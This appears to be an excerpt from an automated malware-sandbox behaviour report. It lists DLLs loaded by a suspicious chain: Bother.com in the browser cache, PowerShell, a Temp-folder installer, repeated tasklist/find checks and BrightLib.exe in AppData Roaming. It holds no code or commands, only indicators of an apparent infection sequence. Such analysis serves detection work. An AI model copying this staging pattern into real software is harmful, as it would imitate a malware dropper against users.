Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winhttp.dll
